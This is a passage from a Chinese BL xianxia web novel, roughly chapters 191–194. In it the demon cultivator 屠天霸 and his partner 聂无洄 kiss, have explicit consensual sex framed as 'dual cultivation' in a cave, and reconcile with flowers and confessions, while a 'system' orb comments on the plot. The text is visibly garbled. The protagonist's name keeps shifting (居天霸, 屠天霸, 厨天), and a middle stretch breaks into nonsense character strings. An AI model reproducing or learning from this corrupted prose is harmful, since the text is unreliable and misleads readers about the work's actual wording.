聂无洄见他如此轻信自己,心中不由得升起几分羞愧,只是少年的思考方式与旁人不同,自己只能这般委婉引导。 这是权宜之计。 他抿了抿唇,低声道:“舌尖。“ 聂无洄清心寡欲了千百年,怎么都想不到自己还有主动诱年轻修士的一天,很是迟疑地叮嘱了两句, “你….”“你轻些,不要太莽撞.….”他说完,自己涨红了脸。 居天霸皱着眉头,哪里有闲心听男人这样啰嗦,很干脆地让对方将舌头伸出来给自己检查看看,却遭到拒绝。 居天霸:“?”居天霸以为男人讳疾忌医,他是个急性子,想骂人,只是当他悬在男人上空,见对方抿着唇,沉默摇头的模样……面庞似乎因缺氧而涨得通红 不知道怎么的,他心中的火气顿时全消了,另一股火气却涌了上来。 热得很。 只不过屠天霸脑中冷不丁又响起男人那句关系亲近的道侣,思量片刻,终是决定继续做个体贴好道侣。 他动作生疏地抬手在男人的脑袋上摸了两下,像是怕吓着人一样,还刻意放轻了声量,询问道: “不怕,我可能太勇猛了,不小心伤了你,不是故意的,你让我检查看看有没有伤口。” 聂无洄:“.…” 除了仙逝多年的老掌门,少年还是第二个摸自己脑袋的人。 被一个在自己看来,完全是个孩子的少年安慰了,聂无洄心中的思绪怎一个复杂了得,却又生出一丝别样的意味 让人恍神。 忽然间,他又听少年说, "我这里有药,保管你吃了就好。" 聂无洄瞬间冷静:“.…” 老实说,他现在对吃药这件事还有几分忌惮,暂时不敢服用少年的灵药。 他默了默,坦言道: “…我不是害怕。” 居天霸灵光一闪,想到了男人曾经提过的字眼,恍然大悟地问道:“哦哦,那你该不会是觉得吐舌头不雅吧?你屁事真多,啊不是……你这人就是太讲究了!” 他不自觉地挠了两下脸,继续说: 我们关系这样亲近,你不用在乎那么多,我不会嘲笑你的。” “当然了,你也不能嘲笑我!”屠天霸未雨绸缪,偷偷夹带私货地补充了一句,见男人仍抿着唇,他大大咧咧地张着嘴,伸着舌头说话, “你看,我都已经伸了,所以你就不要扭捏…….话没说完。屠天霸没了声儿。他的舌头好像被咬掉了。这么说可能有点夸张— 男人只是在居天霸仿佛假扮吊死鬼一般的神情中,沉默地场了扬颈子,用自己的舌尖轻轻勾了一下居天霸的,像是给他打了个样儿,然后低低地道了声“像这样轻,我就不会难受。” 但屠天霸确实说不出话了。 他浑身僵硬,只觉得嘴里被男人塞进了一片软绵绵的云,既不想吐出来,也难以咽下喉,又怕自己动一动,这片云就化了。 晕,晕得厉害。 没一会儿,屠天霸又觉得自己就是那片云了,被风刮得晕头转向,直至瞥见男人的脸上浮现一抹很淡的笑,他才磕磕巴巴地哦了一声。 两厢寂静。居天霸跟男人大眼瞪小眼,脑中已经容不下那对挺拔的胸脯了,只剩下这截温热灵巧的舌。山洞里的空气似乎变得黏稠。居天霸终于反应过来,缓慢地垂下了脑袋,学着男人刚才的模样,动作很轻地吻了他一下。唇微分,舌尖轻轻触碰。吻毕,居天霸拉开两人之间的距离,他居高临下地观察着男人的神色,无意识地屏住了呼吸,“不疼吧?”男人眉目柔和,摇了摇头。厨天了他会,忍不住探出舌头场了一下自己的下唇,暗咽口味着。他似是从中得了趣,嘿嘿笑了两声,低头亲吻了男人一下又一下,男人也配合,致使山洞中除了火堆的噼啪声,还响起了另一道稍显水润的微响他似是人T中除了火堆户,还啊起了力一道梢显水润的微响这是亲吻。…他们关系很亲近呢。火光跳动。两道交磁在白玉床上的人影映在-一则的石壁上,不分例我居天霸上了头,有了施,沉迷其中。他来了好会,耳边忽然传来男人的道间,我加差不多,可以开始双修了吧? 唰的一下。居天霸的理智猛然回笼。往日都是他将双修挂在嘴边,男人兀自沉默不言,现在两人掉了个个儿,居天霸这才发现当双修真正来临时,自己居然有些紧张。难不成这就是所谓的近乡情怯?屠天霸啊屠天霸。你可得支楞起来啊!……不行,本尊不打没准备的仗。 哼,可不是怕了他!居天霸内心好一番活动,终于想出应对手段,顿时将脸上变来变去的表情收,摆出一副该死的男人少指挥本尊的霸道表情,然后以迅雷不及掩耳之势,一脑袋撞进男人的胸膛!呜呼!好滑好滑!居天霸侧过脸,面颊被男人的胸脯挤压得变了形,他蹭了蹭,就感到有个东西在自己脸下……有一点点咯人。居天霸忍不住伸手抓了两下。男人嘶地一声抽气。更咯人了。居天面确实等不及想要眼男人双修个痛快了,但他在吃嘴-事落了下乘,更不愿在双修上再露怯,便心里帖记着翻阁书册好好温习一番双修事宜.他生怕自己一个表现不好,男人就不跟自己关系新近了,岂不是得不偿失?再者说,伤了他丈夫脸面如何是好?!好在他生性,转瞬之间便想到了破角的法子藏住男人那骼油气,招地咖起小检,调速快得足个违珠地,十分关地道:将了?现给欢,吸保怎么脚网这样历?现品出去摘点始敏一散好得更快些眼下的场景很邪门。砂聂无洄觉得很邪门。因为少年全程案盯着,说话,听地话里的思,竟像品同他的,协商交流,让无这个大活人莫名福尬下一刻,少年就从他身上跳下来了。他分明满脸不舍,却还是语气坚定地道了声,“你等等我,我马上回来。”“我去看,咳,我去摘点草药…….聂无洄有时实在抓不准他在想什么,只是抬手抓住他的袖子,沉默半晌,给出了另一个解决方法。“那个药膏,不是还有吗?”“涂那个就好……”话音刚落。居天霸的满脸不舍,变成了满脸绝望。因为男人赤着上身挽留他的模样,实在是让人无法拒绝呀!居天霸想走又不想走,皆着男人胸前的两道抓痕,忍不住咽了咽口水,在寂静的山洞中发出巨大的咕咚声。“吸溜。”一阵天人交战之后,居天霸忍受不了诱感,迈着小步挪了回去,果真掏出只剩一层薄底的药盒,开始为男人上药明明被抓伤的痕迹范围并不大,居天霸却双眼发直地用完了药育。他难以自抑地望着在火光下泛出水光的那块肌肤,哪怕是男人不拉着他,他都走不动道了。居天霸恍光惚惚地将指头上仅利的药膏蹭到了男人的锁骨处,脑中的天人交战愈发激烈了。他的情绪向来藏不住,带到了脸上。聂无看他一会儿纠结地声叹气,一会儿联嘿一笑,手上也不规矩,磁斑这里磁磁那里,转啊间,眼中又流露出强的不舍情态鬼使神差的,聂无洄灵光一闪,好像有些明白少年在想什么了。 应该不会吧? 但为了以防万一,聂无洄强忍着某处传来的微微颤栗,低声问询道: “你是不是…….” 居天霸酶间炸毛跳脚,喘巴碌地出一大画话来,“当然不是了,我怎么可能担心双修不顺有损脸面,临时抱佛脚这等事情又怎么会出现在我身上?!你少污藏人了!聂无洄:… 果然是这样 聂无洄打定主意要替少年化解魔鼎内的上古怨气,干脆心一横,径直将身上的衣物褪尽了,无遮无掩地站在少年身前,拉着他的手往自己身上拽…… 与此同时。 他还低低地说道: “.…我对双修一窍不通,实在不知道是怎么一回事,你能不能教教我?” 居天霸顿觉脑袋一沉,眼睛看都看不过来了。 哪儿都好看。 192、Chapter 192 ... 在教导道侣如何双修这一方面,屠天霸认为自己有不可推卸的责任。 就像勇猛老练的雄鹰将不经事的小鹰推出巢穴,以此教导它如何振翅飞翔 爱之深,推之切。 屠天霸也一把将光溜溜的男人推进了巨熊皮毯,掌心残留着从对方肌肤传来的滑腻触感,微微的热。 当然了。 他这么做,并不是因为不够自信,须要通过这块陪伴自己数百年的熊皮毯子来增添些许微不足道的底气。 屠天霸只是觉得那张温润精致的白玉床看上去太冷了,男人娇气又体弱,一不小心就染上风寒,岂不是显得自己过于粗心?他可是个体贴好道侣。 ".……你不过来吗?"男人的声音似乎是从天外传过来的。屠天霸没应声,只是魂不守舍地站在皮毯外,望着深棕色的厚实皮毛把男人衬托得白洁清透,宛如一块上号的玉料。 他的视线一遍遍地从男人头顶扫到对方的脚底板,一寸不落,仿佛自己是个正在检查玉料成色的雕刻师傅,神情专注又恍惚。 ——大、鼓、翘、白。 乖乖,怎么全长在他的心坎坎上了? 他也想这么挺拔! 聂无洄被看得不自在。 但他没有表露出一丝丝抵抗的情绪,之前被屠天霸不轻不重地一推,也不过是顺着他的力道,躺好了。他就这样躺在屠天霸身前,两只手放在身侧,脑袋偏向一边,没有跟少年对视,催促的话语也委婉。那条长颈抻长了,格外好看。 屠天霸不自觉地,又一次将男人从头到脚打量了一遍,最后,他忍不住把目光停落在某一处,并暗吸了一口气——他将一只手背到身后,用手指偷偷比划着尺寸,然后鬼鬼祟祟地转过身去,撩起腰间一排平安结,以及衣袍,扒下裤头仔细确认了一番。很好,没有输。 还是他更加茁壮,看起来活力满满! 检查完自己的雕刻工具,屠天霸脸上顿时浮现几分庆幸,提着的那口气也缓慢地吐了出来,忍不住低声自语, “呼…!好险好险,差点被彻底比了下去,好在本尊也是有长处的!” “虽然不及他白白嫩嫩,但看起来也不失活泼灵动,没有给本尊丢脸!” 屠天霸总算放下心了。 于是,他自信地展臂一扑,宛如雄鹰展翅一般扑到了男人的身侧,然后开始依次摘除发带、手绳、腰饰…… 忙活了好久。 终于把身上的红色除干净了。 紧接着,他拽着腰带,刚要褪下身上衣裤,突然发现男人不知何时撇过头来,正静静地看着自己。 屠天霸手一顿:“看、看什么看?!” 聂无洄等了许久,还莫名其妙被凶了一句,但他早就看出少年的色厉内茬,若是不慎重作答,恐怕会惹恼了他。 好在少年本性善良,懂得帮扶弱小。 聂无洄想了想,轻声道: “.……就是觉得有点冷。” 这话听起来乖顺又懂事,屠天霸听在耳中,还品出了几分对自己的依赖和亲近,心中一美,动作顿时加快,眨眼间就变成了光溜溜的一条。 "你不懂,书上…咳,待会儿我们开始双修了,你就会觉得热了。" “我可以教你。” 屠天霸边说着,在毯上蹭了几下,蹭到男人身边,语气逐渐飘起来,无意识地伸手捏了捏男人的一缕发。 聂无洄:"………嗯。" 他不像屠天霸那般做派,将人来回打量品味,心里还各种比较。 聂无洄只是目不斜视地盯着少年的下颌处,一翻身,主动滚进了对方的怀中…… 双修,应该可以开始了吧? 聂无洄此刻腹中并无灵胎,没了灵胎的阻碍,天地灵气润物无声地修补起了他的经脉,虽说修为不及练气期,但运行最基础的双修心法,还是没问题的。况且他是要让少年采补自己,以化解魔鼎怨气。 正因如此,就算他无法调动灵气运行心法,可魔修吸人精气的功法甚多,只要少年单方面运功便可。 瞬息间,聂无洄想了许多许多。 他侧躺着,靠进少年怀里,面颊轻轻贴在对方的胸膛上。尽管这是他的自愿—甚至可以说是主动的行为,但一想到接下来会发生什么…… 聂无洄的呼吸稍稍急促了一些。 然而,此时此刻。 屠天霸的呼吸已经停了。 他憋着气,半边身子都是酥麻的,尤其是被男人枕着的臂膀与胸膛,仿佛已经离家出走了,不听他的使唤。 而那本书册里的片段,什么汗湿啊,漂泊的小船啊,狂风骤雨啊,早就被屠天霸抛到了九霄之外— 想不起来了。 他强忍着酥麻,忍不住暗暗庆幸:还好男人不懂双修,到时候还不是自己说什么是什么?难不成他还能跟别人双修比较? 不可能,绝对不可能。 除非他死了。 哼哼,他又死不掉。 屠天霸熬过最初那阵酥麻,先是轻咳一声,然后活动了一下面部肌肉,摆出镇定老练的表情,刚要说些安抚道侣的话来展示自己的体贴……恰时。 他忽然瞥见男人微微抬脸,眼皮的折痕深刻极了,底下的眸子沉静且坚定,恍然撞进了自己的眼中。 两人四目相对,无人说话。 倏然间,男人冲他抿唇一笑,极淡。 咻—— 屠天霸刚拽回来的魂又飘起来了,头重脚轻地寻不到路,直至男人主动拉着他的手往下,还观察着他的神情,甚至恰到好处地开口问道:“是这样双修吗?”聂无洄顿了顿,低声补充了一句, "……其实我也不太清楚。" 屠天霸并没有察觉男人的刻意言行,只觉得怀中人说话没有一个字是不好听的,句句说到他的心尖上了。可惜屠天霸浑身的血液已经尽数往下冲去,脑袋空无一物,只能做出下意识的反应来。他连连点头,语气飘忽:“不懂也没关系的,都说做人要不耻下问,你这一点就很好,我懂得可多了,待会儿手把手教给你就是了…….明明他与少年双修,是为了此方世界存亡的大事,但不知道为什么,聂无洄再一次感受到了那股不算太陌生的情绪。就像是平静了千百年的湖面被投下了一块圆溜溜的小石子,涟漪一圈圈荡开来,不断向外扩散…… 哗。 撞到了他探入水下的手指,也惊扰了轻啄着他手指的小鱼。 鱼儿一甩尾,溜走了。 只剩下聂无洄在岸边想要笑出声,又怕某只暴躁小鱼要跳出水面发脾气,问他为什么要笑,到底是在笑什么之类的…… 聂无洄只好抿紧嘴唇,憋住笑。 实在憋不住了,他索性将脸藏进少年不算太宽广的胸膛里,身体轻轻颤。 屠天霸被男人的力道带着走,刚抚过他的腰腹,还想往下,就感受到掌下的肌肤不停发出颤栗,可怜极了。仿佛已经不堪承受。 屠天霸一下子回了魂,聪明的大脑再次发挥起了它的作用,当即想到怀中的男人定然是经验不足,却因爱惨了自己,便狠心勾引…… 难不成是他冷淡的反应衣襟刺伤了男人的心,导致对方遭受打击,信心丧失?! 我好冤枉! 屠天霸当然不承认自己是呆住了。 他心想,这般重要的场合还是要靠他这个双修大宗师了,怀中人只是年岁徒长,却比他青涩懵懂许多,始终不及他见多识广。 于是,他深呼吸了几个回合,翻着白眼回忆着书册中的内容,还很体贴地挣脱了男人的手,轻声问询: “你是不是既紧张又害怕呀?怕自己表现得不好,万一双修出岔子,被我嫌弃?” 男人看上去害怕又害羞,在他怀中躲得更深了,轻轻的一声‘嗯’更是大大满足了屠天霸的虚荣心。 屠天霸忍不住无声窃笑了好一会儿。 杏眼被他眯成了月牙眼。 他又咳嗽两声,忽然想到了一个安抚道侣的好法子,“我不会嫌弃你的,而且你放心,我很有教导别人的天赋,会一个步骤一个步骤解释给你听,你听懂了,当然就不害怕了,对不对?”说完,屠天霸自己都惊呆了。 不愧是我。 屠天霸,你难道是个天才? 聂无洄突然笑不出来:".……" 他沉默片刻,断然拒绝:“不用了。” 屠天霸没听见,他深吸一口气,手接着往下探,同时,自顾自地往下说, “嗯,我现在要摸摸你的大腿,不是我自己私心想摸,只是双修都是如此,况且你现在太紧张了,这样能安抚你的心神…” “嘿嘿,手感真好。” “对了,你现在感觉好些了吗?” 聂无洄欲言又止半晌:"……嗯。" 自信超级加倍!! 屠天霸强忍着某种渴望,很轻缓地将手往后挪,绞尽脑汁地想词儿,嘴里继续解释着, “现在,轮到……” 说到这里,屠天霸猛地停顿。 方才男人平躺着,他并未完全看清自己眼馋了许久的大肉,如果只是单纯触碰,而不能一饱眼福,他会抱憾终身的!只是屠天霸也不舍得撒在怀里这具温热的身体,骤然陷入了两难境地。 好在他聪慧,很快就想到了解决办法。 屠天霸语气严肃,指挥道:“你先转过身,再趴下,把我当做熊皮毯子就行,你不是怕冷吗?正好我给你热热。” 见男人迟疑不动,他语气更加肃然, “还想不想让我教导你如何双修了!” 聂无洄的沉默振聋发聩:"……." 好在事情顺利解决了。 屠天霸好一通作威作福,最终得偿所愿地看到梦寐以求的好风景,忍不住连声赞叹道:“呜哇…….” 聂无洄在另一头,也忍不住捂住脸。 人的悲喜并不相通。 屠天霸喜不胜收,忙不迭伸出手指戳了戳,一戳一个坑,“呜哇…….!” 紧接着,屠天霸化指为掌,快速连拍几下,声音清脆极了,泛起的波澜晃花了他的眼,“呜哇……!!” “嘿嘿,好嫩。”聂无洄整个人都快烧起来了。毕竟人活得再久,也是有羞耻心的。他实在不明白——明明在自己腹下杵着的东西已经急迫交加了,少年为什么能在这些…这些细枝末节的地方浪费时间?或许是他忍耐力非比寻常。只是一想到这非人的忍耐力是如何锻炼出来的,聂无洄便没了计较的心思,不自觉地想纵着他,从他的意。命运苛待他许多只稍稍纵着些,也不要紧的。 聂无洄屏息凝神,听着少年发出一连串关于手感、触感、以及声响的评价,忍了好一会儿,实在忍不下去了,低声催促道:“能不能快些开始双修?”“我有些等不及了……” 屠天霸整个人容光焕发,不复先前想要临阵脱逃的心虚,闻言自信一笑,还掐了一把男人,嘴里哼哼着, "我就说吧,我很懂双修的,所以你现在才变得如此急不可耐,这就是证据!!" 聂无洄继续催:"……嗯,快些。" 他实在怕了少年的想一出是一出,闭了闭眼,干脆自己背过双手,对屠天霸委婉提醒道:“是这样双修吗?” 屠天霸顿时倒吸一口凉气。 死脑子终于动了! 他想着书册内容,喃喃地问出了声, “原来你都开始觉得痒了?” “我真是强得可怕……” “哦哦,你也很棒,嗯,看来你也是个双修天才,这么快就能学有小成……虽然还是比不上我,但已经很厉害了哦!”“普通人是不会像你这样,还没开始双修就这么○o的!!” 屠天霸哪里知道别人如何,他只是想夸奖男人一番,因此语气格外夸张,尾音上扬。 聂无洄阅历极深,见多了大大小小的世间事,如今这遭却是实打实的头一回,羞得耳根子通红,哪还觉得冷? 屠天霸自然不知男人此时已经臊得无脸见人了,毕竟他的脸一直埋在厚实的熊皮里,屠天霸想看也看不见。 有点小遗憾,但不多。 谁让他只长了一双眼睛,顾后不顾前。 没有什么比‘道侣的认可与渴求’更能让人志得意满了,屠天霸满面红光地按耐住自己对梦中情身的喜爱,终于进入了正题。 他知道的, 自己要想办法进去走一遭。 他不忘初心,絮絮叨叨地解释着自己的一举一动,不让男人惧怕忧心,以至于山洞里环绕着他的声音,不停歇。 不多时。 男人的声音也响了起来,支支吾吾,不利索,“你…你快运行心法、呵啊…双修心法…!” 屠天霸挥汗如雨,压根没听清男人在含糊其辞些什么,他哪里还记得什么双修心法不心法的,连心魔交代的任务也忘得一干二净,满脑子都是本尊双修了一次! 本尊又双修了一次!! 呜呼,本尊真是勤奋,双修了一次又一次,次次不停歇,谁还能比本尊更勤奋!! 爽!!!!!! 曦光沉寂,星夜仿佛永恒了。 直到天光复明,屠天霸才意犹未尽地停了下来,他擦了擦额头的热汗,俯身搂住早就说不出话的男人,唏嘘道:“真是酣畅淋漓的一场双修啊……” 男人几乎半昏过去。 聂无洄的记忆恢复了,但修为没有,是以他现在的体质也就比凡人好上一截,在屠天霸面前,压根无法相提并论。 他的嗓子已经哑了。 再者说,他也没有更多的力气去告诉这个小混蛋,“这算哪门子双修?只不过是单纯的亲热罢了。” …小色鬼。 一开荤就忘乎所以,什么都顾不上了。 聂无洄疲劳地闭上眼睛,恍惚中,他隐约感觉到一双臂膀将自己拥入了怀中,力道有些重,勒得他腰疼。 下一瞬,他听到少年说, “你很累吗?要睡多久?” “.睡多久都可以哦,我会等你醒过来。” 193、Chapter 193 ... 屠天霸仍旧处于极致的亢奋中,他粗略一算,虽然自己双修的时间短暂,只有一天一夜,但次数却不少。 十个手指头都数不尽。 若是加上脚趾头,勉勉强强够吧。 他喜上眉梢,不自觉地收紧了手臂,将怀中之人抱得更紧,却又听到男人的唇间溢出一声不安生的轻呓…… 屠天霸连忙松了力道,还抬手摸了摸男人的头顶以做安慰。 他已经很熟练了,掌下的力道很轻,好似在摸一朵云。 一朵很潮湿的云。 屠天霸等了等,发现男人没有被自己弄醒,才抻着脖子,去看他半埋在自己臂弯里的脸,只瞥见对方从耳后、下颌、一路蔓延到唇角的红痕… 肩颈下的痕迹看起来更是浓墨重彩。 都是他啃出来的。 屠天霸的视线再往下,骤然发现男人恢复平坦的腹部又鼓了起来,甚至比起先前丹胎在怀的模样还要明显。 他忍不住伸手摸了一下。 昏睡中的男人随之抖了抖,腿根也跟着颤,呼吸有些不稳。 屠天霸有心想要哄哄他,张开嘴,却只挤出了一道很嘶哑的气音。 屠天霸:“……?” 可恶,本尊的嗓子怎么哑了?! 不就是在双修期间多说了点话吗! 虽然他在这一天一夜说的话,加起来比前头三百年还要多,但也不至于嗓子都倒了吧?! 屠天霸皱着眉,闭上了嘴巴。 对他来说,这点小伤其实不算什么,一个念头便能使其愈合。 可屠天霸没有这么做。 他只是动作很轻地托起男人的脑袋,往对方红肿的唇间亲吻了一口,却又发现男人的舌尖被自己吮破了一道口子,看起来红通通的,好可怜。屠天霸顿了顿,眸中明亮到有些非人的光芒稍稍收敛,眉眼里的癫狂气息便也隐没入心。 理智回笼,他终于发现—— 舌尖这点小破口居然只是最微不足道的一处伤,男人的前前后后一片狼藉,宛如白玉渗出了血,晕染出碎纹,透出几分支离破碎的脆弱感。 屠天霸:“.…” 自己似乎没有很体贴。 屠天霸表情逐渐变得懊恼,他缓慢坐起身来,掏出一盒全新的药膏,在男人肌肤上——涂抹过去。 涂了许久,屠天霸盯着男人圆鼓鼓的肚子犯了难——但凡他伸手碰,男人就睡不安稳,以至于他用药膏治愈了外部的红肿,对里头的东西却束手无策。 屠天霸想了想,决定轻浅地探入一截食指,以血雾炼化之,只是他一打开天眼,就发现了一处异样。 男人的肚子里不只有他的气息。 屠天霸神情一凛,缓慢将男人腹中的东西解决了,然后将那点异样取了出来。 居然是丹胎炼化后残留的一缕灵识! 屠天霸更加懊恼了,有些担心男人发现自己没有将那团东西炼化干净,质疑他的医术。他左右看看,发现了那枚被遗忘的灵兽蛋,忙把那缕灵识塞入蛋中,再将其丢入河谷中。外头的天光明亮。屠天霸衣袍凌乱地站在河边,看着那枚拳头大的白蛋顺流而下,这才放心地吐出一口气。 ——成功销毁了一个错误! 就在这时。 他忽然听到机智心魔那道特殊的声音在耳边响起,语气错愕, “诶等等……宿主,我都被屏蔽了一天一夜了,原来你还没双修上呀?” 系统空间内。 白色光球半是叹息,半是庆幸。 叹息任务进度条为零; 也庆幸任务进度条为零。 因为袍也摸不准,当宿主看到了前夫哥剧情的最后一个篇章——特指主角怒而剁渣男唧和一箭穿心等戏份,会不会反把主角给剁了。 概率不小。 经过心魔提醒,屠天霸这才忆起,自己在交合过程中太过激动,压根没顾得上运行双修心法。 ……怎么又做错了一件事!! 正所谓错一,错二,不可错三,屠天霸也不急着返回山洞等男人醒来了,他蹲在河边,表情焦灼地想着对策。 他甚至急吼吼地问心魔, “我该怎么办?他不会嫌弃我脑子不好使,话又多,双修还一塌糊涂吧?!” 白色光球:"?"原来宿主对自己有着清晰的认识啊。 袍半晌无语,随口应道:“宿主不是说主角爱惨了你吗?” 屠天霸吭哧老久,解释道:“不管我说什么,他都会很耐心地听着,还时不时冲我微笑,不是喜欢我还能是什么?!”说着,屠天霸的语气愈发坚定, “要是他不喜欢我,为什么要对我这么好?问题是我想要他永远都对我这么好,耐心地跟我说话…!”听到这话,N001支楞了起来,从一摊光饼支楞成正常的形状。 哦豁。 嗅到了积分的味道。 袍连忙献计献策,还很有仪式感地具现化了一本书,如同修订版原著那般呈现在屠天霸面前。 《泡仔的一百零八招:一天一个恋爱小秘诀,单身远离我》 屠天霸接过书,“‘泡仔”是谁?书封上怎么没有这人的画像?” 聂无洄并没有睡得很熟。 尽管他的身体疲惫不堪,神魂却坚韧稳固,只沉沉睡了半日,便恢复了大半精力。 或许是睡前还惦念着双修未成,又怕少年被上古魔气侵蚀得更加厉害,聂无洄的潜意识将他从沉睡中唤醒—— 山洞中只剩他一人。 火堆早就熄了,洞中暗沉极了。 落日余晖如鎏金一般,将垂落在洞口的藤蔓涂成了同色,剩余的涂料泼到了冰冷暗沉的石地上,细碎不成形。 聂无洄动了动,发现自己被牢牢裹在熊皮中,口腔里泛着一丝丝清凉之意,身上亦然,酸痛肿胀的感觉统统消失不见,只在神魂深处留下了一丝异感。 酥麻、疼痛、以及………耳鸣。 除去与他亲吻的间隙,少年的嘴巴就没有停过,到了激烈时,更是神情偏执地冲自己说话,片刻不停。他的动作也是片刻不停,愈发凶猛。聂无洄剧烈地晃,快要看不清他的表情如何,却怎么都无法忽略少年身上那股如山如海般的寂寞。他只能将少年抱紧 “……”聂无洄坐起身,发现自己满脑子都是昨日的荒唐,连忙止住,发现自己的衣服叠得整齐,就放在他手边后,忍不住微笑起来。他当即就要起身穿衣,寻回那个有时呆傻,有时又聪明的人。 然而,下一瞬。 山洞口的光斑消失了,像是被什么巨型猛兽一口吞食殆尽,聂无洄抬眼望过去,只隐约瞥见一道人影在靠近…… 那人影一顿,做了个动作。山洞陡然亮起来。 屠天霸一手攥着照明晶石,另一手抓着一束花——红的、黄的、蓝的,实在好大一把,他的手几乎快要握不住。发现男人醒了之后,他露出一抹心虚的表情,脚尖在地上磨蹭了两下,才继续靠过去。聂无洄看他蹲在自己身前,也不忙着穿衣服了,轻声问道:"…你去哪儿了?"话罢,少年上身凑近,将那把花束递到他面前,眼珠子转了好久,最终闭眼咬牙地问他,“你没有生我的气吧?”聂无洄不明所以,反问道:“我为什么要生气?”屠天霸臊眉耷眼,支支吾吾, “……嗯,我反省了一下,在昨天的双修里,我可能表现得不太好,把你惹哭了好多回,还啃伤了你,你会生气吗?“聂无洄:“……不会。”屠天霸的眼睛一亮,唇角刚弯起来,就听男人接着道:“不过,我一直提醒你运行双修心法,你怎么就是不肯听?”屠天霸连忙解释起来, “我没听清,嗯……有点吵,不是说你吵啊,是我和我脑袋里的声音太吵了。” 他想了想,响起那位泡仔先生在书中说的坦诚二字,很心虚地坦白道: “其实我也不算是双修宗师……但我看过很多人的双修场景,在这方面说是宗师也不为过!只是昨夜是我第一次与人双修,有些错漏也是正常的吧?”聂无洄看他紧张地攥着花,说话时,小臂也跟着挥舞了几下,于是花束的清香钻进他的鼻腔,几片小巧的花瓣飘下来。聂无洄不捉痕迹地笑了笑,主动将花束接过来,低头深嗅一口,余光中是少年努力隐藏的紧张。 他忍不住问了句, “………你很怕我对你生气吗?” 屠天霸没点头,也没摇头,他吭哧了一会儿,伸手揪下一朵白色的小花插到男人的鬓边,很小声地说: “没、没有啊….!” “我没有担心你嫌弃我,不理我!” 聂无洄的一颗心软下来,他抬手拍了拍少年的脑袋,又随手从对方的头顶捻下一片枯黄的落叶,然后轻柔却笃定地道: “我绝对不会离开你,不会不理你,往后也会陪你渡过艰险,所以……” 聂无洄顿了顿,见少年神情恍惚地紧盯着自己,才继续道: “所以,你不用再担心自己会回到从前那样寂寞的日子,也不用急着把所有话都说完……” “我愿意一直听下去。” 男人的话音落下,屠天霸倏然听到了一阵轰然的重响,咚咚,咚咚—一 他落下泪来,砸在男人手中的花束上。 声音好响亮。 ……他的阿洄将他拥进怀中,好温暖。 194、Chapter 194 ... 屠天霸被男人搂在怀中,轻拍后背,愣了好半晌才反应过来——本尊怎么做出趴在道侣怀中掉眼泪这般窝囊事情?! 可恶,快爬起来! 良久。 他在对方光裸的肩头蹭干了眼下与面颊的湿润,小声狡辩, “……是沙子迷了眼。” 可山洞里被他施了清洁法术,堪称纤尘不染,哪来的沙子? 男人的反应却很寻常。 他嗯了一声,还顺手揉了一下屠天霸的脑袋。 好在昨夜两人共度一天一夜,肢体交缠了许久,屠天霸已然习惯了被男人触碰时的酥麻感,不再一惊一乍。此时此刻,他的两条臂膀环绕着男人的脖颈—真是毫无男子气概而言,屠天霸满心懊恼地唧哼哼了好 会儿,偷摸掏出小梳妆镜,仔细检查了一番。还好,还好。 眼睛看不出痕迹了。 他将梳妆镜塞回袖子里,顺便调整了一下自己的姿势,跟男人贴得更紧,却忽然听到对方说了句, “你先起来一下。” 话音刚落,屠天霸的好心情啪的一下摔碎了,只是还不等他垮下脸,就听到男人补充道:“……别压坏了你送给我的花。” 屠天霸的天顿时又晴了。 他缓慢直起身,瞧着男人低头整理那束乱糟糟拢在一起的花,心想:那个泡仔说得不错,做错事送鲜花果然有奇效。 照明石早就滚到了一旁,半埋在熊皮当中,散发出幽幽的冷光,不足以将山洞映得明亮。 光线朦胧,轻轻地罩在两人身上。 屠天霸不讨厌这样昏暗的气氛,便没有施展法术或点起火堆。他凝视着男人,不自觉地想说话, “你很喜欢吗?” “不过这只是普通的野花,如果你喜欢花的话,我知道有些灵草开的花比它漂亮多了,下次摘给你。”聂无洄抬眸,望见少年眼巴巴地瞅着自己,眸光熠然,里头还带着几分极隐晦的羞赧,像是一个情窦初开,忙着讨好心上人的毛头小子。……实际上,大差不差了。 聂无洄想了想,将整理好的花束放到腿上,很认真地告诉他, “不必了,这束花是你的心意,心意不分贵贱,普通的野花野草与奇珍异花同样让我心悦。” 屠天听得满心欢喜,抬手冲那束花施了个诀,让它免于腐烂枯败,始终维持着鲜嫩的模样。 ——永不凋谢。 随即,屠天霸就看到男人将花束摆到了熊头旁边,不知是局促,或是不习惯散发的模样,他拨了拨鬓发,轻声问道: “所以……”“你要试着跟我再双修一回吗?”唰的一下。屠天霸的衣袍鼓起一个小包。……这话问到他心坎上了! 他正想着重新表现一番呢! 屠天霸忙不迭地点头,随即急吼吼地扯开自己的衣襟,却在男人沉静的目光中恢复了理智,动作也不再狂躁了。 他将身上的衣服尽数褪下,叠好,放在了男人的衣服旁边。 一黑,一白,相偎相依。 屠天霸跟男人也依偎在一处,头顶有花香飘过来,照明石不知被谁踢了一脚,骨碌碌地滚远了,以至于两人只能隐约窥见对方的轮廓。尽管如此,两人的唇却准确无误地贴到了一起,两截舌于黑暗中勾连交互,使山洞中泛起一阵水渍声。 跟昨夜的聒噪与激烈不同,屠天霸这回很安静,男人亦然,只是呼吸声格外粗重。 半晌。 男人先屠天霸一步,开口说话了, “.……可以了,来。” 屠天霸被他搀扶着,回到了对自己毫无防备的温柔乡,整个人早已飘飘然,紧接着就听到男人断断续续地提醒着, “……心、心法。” 他声音克制,不像屠天霸,尽发出一些没羞没臊的声响。 屠天霸只能在男人说话时,捕捉到几丝从他喉咙里逸散出来的呢语。 这让屠天霸本能地留恋。 不过他对这次双修格外看重,连忙止住了乱飘的魂,依言照做。 下一瞬。 屠天霸忽然感受到一股玄妙的滋味。 时刻在他耳边喧嚣的心魔音仿佛被什么东西压了下去。 屠天霸忽然神清目明,他抱着男人,与其四目相对,在同频率的晃动中感受到了一股前所未有的沉静。 昏暗中,他嘟囔了一句, “原来双修这么舒服啊……. 聂无洄没办法像少年那样坦诚地哼出低音,他将那些暖昧的、失控的声音统统收敛起来,让自己的回话听起来正常些, “大…大概是是因为我的体质特殊,若是你觉得舒服,不妨多….…. 聂无洄本就打着以自身体质净化少年体内的上古魔物怨气的主意,自然在言语上多加劝导了。 只是他话到一半,少年便反驳道:“虽然跟你的体质有些关系,但我主要是因为跟你这个人双修,才觉得舒服极了,我喜欢你呀……” 闻言,聂无洄不禁莞尔一笑。 一时不慎,颤音从他喉间飘出来。 屠天霸听得热血沸腾。 两人的面庞几乎贴在一起,只用很轻的声音说话就能被对方清楚听见,但屠天霸还是抬高音量,强调道: 